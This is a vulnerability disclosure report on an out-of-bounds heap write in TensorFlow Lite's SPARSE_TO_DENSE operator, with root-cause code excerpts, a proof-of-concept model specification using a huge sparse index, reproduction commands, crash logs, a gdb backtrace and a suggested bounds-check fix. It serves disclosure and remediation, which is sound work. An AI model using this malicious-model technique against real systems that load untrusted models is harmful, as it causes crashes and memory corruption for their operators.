# TFLite SPARSE_TO_DENSE out-of-bounds heap write via unvalidated sparse index in `reference_ops::SparseToDense`

## Summary

The TensorFlow Lite `SPARSE_TO_DENSE` builtin operator performs an out-of-bounds **heap write**
when fed an attacker-controlled sparse index. Neither the kernel (`sparse_to_dense::Eval` /
`SparseToDenseImpl`) nor the reference implementation (`reference_ops::SparseToDense`) validates that
each sparse index falls within the bounds of the dense output tensor. The index is passed straight
into `Offset(output_shape, ...)` and used as the destination subscript of
`output_data[...] = value`, so a single crafted index writes far past the end of the output buffer.
A 548-byte `.tflite` model triggers a SIGSEGV at the first `Invoke()`.

- **Target:** TensorFlow Lite (`tensorflow` Python package)
- **Version verified:** `tensorflow==2.21.0`, x86-64 Linux, pip wheel
- **Component:** `tensorflow/lite/kernels/internal/reference/reference_ops.h`, `reference_ops::SparseToDense` (~L804-842); kernel `tensorflow/lite/kernels/sparse_to_dense.cc`
- **Op:** `SPARSE_TO_DENSE` (builtin code 68)
- **Impact:** Heap out-of-bounds write (memory corruption) from a malicious model file → crash / potential further exploitation
- **Attack surface:** Model File Format — loading and invoking an untrusted `.tflite` model

## Root cause

`SPARSE_TO_DENSE` takes four inputs: `indices`, `output_shape`, `values`, `default_value`.
The kernel resizes the dense output to `output_shape`, converts the sparse `indices` tensor into a
vector of 4-D index vectors, and calls `reference_ops::SparseToDense`:

```c++
// tensorflow/lite/kernels/sparse_to_dense.cc  (SparseToDenseImpl)
const int num_indices = SizeOfDimension(indices, 0);
std::vector<std::vector<TI>> indices_vector;
GetIndicesVector<TI>(context, indices, num_indices, &indices_vector); // raw copy, no range check
reference_ops::SparseToDense(indices_vector, GetTensorData<T>(values),
                             *GetTensorData<T>(default_value),
                             value_is_scalar, GetTensorShape(output),
                             GetTensorData<T>(output));
```

```c++
// tensorflow/lite/kernels/internal/reference/reference_ops.h  (~L804-842)
inline void SparseToDense(const std::vector<std::vector<TI>>& indices, ...) {
  const RuntimeShape output_shape = RuntimeShape::ExtendedShape(4, unextended_output_shape);
  ...
  for (int i = 0; i < value_count; ++i) {
    const std::vector<TI>& index = indices[i];
    const T value = ...;
    output_data[Offset(output_shape, index[0], index[1], index[2], index[3])] = value; // OOB write
  }
}
```

`Offset()` computes a flat linear subscript from the four index components with **no bounds check**,
and the result is used directly as the write subscript into `output_data`. The sparse index values
come straight from the attacker-controlled `indices` tensor. Neither `Prepare`, `Eval`,
`GetIndicesVector`, nor `SparseToDense` ever checks `0 <= index < output_dim`. (TensorFlow's own
`SparseToDense` op validates indices; the TFLite port dropped that check — the only DCHECK present,
`index.size() == 4`, is compiled out in release and is unrelated to bounds.)

With a 1-D `indices` tensor the helper pads to `{0, 0, 0, idx}` and the extended output shape is
`[1,1,1,N]`, so `Offset(...) == idx`. Setting `idx = 1000000000` against a 4-element
(`float32[4]`) output writes `output_data[1000000000] = 1.0f` — ~4 GB past the buffer → heap
out-of-bounds write → SIGSEGV.

## Proof of Concept

A 548-byte `.tflite` model:

```
SPARSE_TO_DENSE(
  indices       = int32[1]   = { 1000000000 },   # attacker-controlled sparse index
  output_shape  = int32[1]   = { 4 },
  values        = float32 scalar = 1.0,
  default_value = float32 scalar = 0.0
) -> dense float32[4]
```

All four inputs are **constants** (baked into buffers): the dense output is resized during `Prepare`
and the OOB write fires at the very first `Invoke()`. No runtime input feeding is required.

### Files

- `crash.tflite` — PoC model, `idx = 1000000000` → SIGSEGV.
- `neg.tflite` — negative control, identical model but `idx = 0` → clean run, output shape `(4,)`.
- `mk.py` — generator. Arg 1 = index value (`1000000000` reproduces the crash, `0` is the control),
  arg 2 = output filename.
- `load2.py` — driver. Builds `tf.lite.Interpreter` (default `BUILTIN` resolver, or `BUILTIN_REF`
  via arg 2 = `ref`), calls `allocate_tensors()` then `invoke()`.

### Reproduce

```bash
pip install tensorflow==2.21.0
python mk.py 1000000000 crash.tflite    # OOB index -> crash
python mk.py 0          neg.tflite       # negative control

python load2.py neg.tflite   ref   ; echo "exit=$?"   # -> exit 0, out (4,)
python load2.py crash.tflite ref   ; echo "exit=$?"   # -> exit 139 (SIGSEGV)
python load2.py crash.tflite builtin ; echo "exit=$?" # -> exit 139 (SIGSEGV)
```

## Captured evidence (verbatim)

```
tf 2.21.0
== negative control idx=0 ==
neg run1 exit=0 out=out (4,)
neg run2 exit=0 out=out (4,)
neg run3 exit=0 out=out (4,)
== crash idx=1000000000 (BUILTIN_REF) ==
crash run1 exit=139 (139=SIGSEGV)
crash run2 exit=139 (139=SIGSEGV)
crash run3 exit=139 (139=SIGSEGV)
crash run4 exit=139 (139=SIGSEGV)
crash run5 exit=139 (139=SIGSEGV)
== crash (default BUILTIN resolver) ==
builtin-resolver exit=139
```

### gdb backtrace

```
Thread 1 "python" received signal SIGSEGV, Segmentation fault.
0x00007fffa01fb4d8 in tflite::reference_ops::SparseToDense<float, int>(...)
#0 tflite::reference_ops::SparseToDense<float, int>
#1 tflite::ops::builtin::sparse_to_dense::SparseToDenseImpl<float, int>(TfLiteContext*, TfLiteNode*)
#2 tflite::ops::builtin::sparse_to_dense::Eval(TfLiteContext*, TfLiteNode*)
#3 tflite::Subgraph::InvokeImpl()
#4 tflite::Subgraph::Invoke()
#5 tflite::interpreter_wrapper::InterpreterWrapper::Invoke(int)
rdi 0x18   rsi 0x4
```

The backtrace confirms the fault is the write inside `reference_ops::SparseToDense<float, int>`,
reached via `sparse_to_dense::Eval` from `Subgraph::Invoke` — exactly the code path above. The crash
reproduces under both the default `BUILTIN` resolver and the `BUILTIN_REF` (reference-kernel)
resolver.

## Deduplication note

- Root cause is a **missing sparse-index bounds check** in the `SPARSE_TO_DENSE` kernel /
  `reference_ops::SparseToDense`, yielding a **heap OOB write**. This is a distinct operator and a
  distinct primitive from previously covered TFLite findings:
  - `SCATTER_ND` OOB write — different op; there the guard exists but is defeated by a 32-bit
    signed-overflow. Here there is **no index guard at all**.
  - `DENSIFY` / sparse-densify — that is the constant-tensor densification path (sparsity metadata),
    not the runtime `SPARSE_TO_DENSE` builtin.
  - Interpreter-builder `Buffer.offset/size` overflow (generic tflite `oob`) — a load-time OOB read,
    unrelated code path.
  - Also distinct from DEQUANTIZE-qdim, READ_VARIABLE, Detection_PostProcess flexbuffers,
    stablehlo-gather, getminimumruntime, and the architectural-backdoor findings.
- No public CVE was found for a `SPARSE_TO_DENSE` sparse-index OOB write in TFLite at the time of
  writing. TFLite documents untrusted models as a supported attack surface ("Using TensorFlow
  Securely"), so a model-triggered memory-corruption primitive of this kind is in scope.

## Suggested fix

In `sparse_to_dense::SparseToDenseImpl` (or inside `reference_ops::SparseToDense`), validate every
sparse index component against the corresponding dense output dimension before computing the flat
offset — reject any index `< 0` or `>=` the extent of that output dimension and return
`kTfLiteError`, matching the validation that the full TensorFlow `SparseToDense` op performs.